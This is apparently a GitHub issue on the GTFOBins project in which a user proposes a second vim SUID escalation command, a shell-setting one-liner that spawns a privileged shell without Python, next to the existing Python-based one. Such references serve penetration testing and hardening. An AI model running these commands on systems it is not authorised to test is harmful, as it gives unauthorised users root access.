GTFOBins.github.io icon indicating copy to clipboard operation
GTFOBins.github.io copied to clipboard

Additional vim SUID exploitation option?

Open 0xarnout opened this issue 1 year ago • 2 comments

Hi!

The section about SUID with only mentoins this option:

./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

This can be added:

./vim -c ':set shell=/bin/sh\ -p|shell'

benefit is that this doesn't require python support.

0xarnout avatar Jun 12 '24 14:06 0xarnout

@cyrus-and can you take a look at this? If you need any clarification please tell me!

0xarnout avatar Jul 29 '24 13:07 0xarnout

great

qppstart avatar Dec 06 '24 05:12 qppstart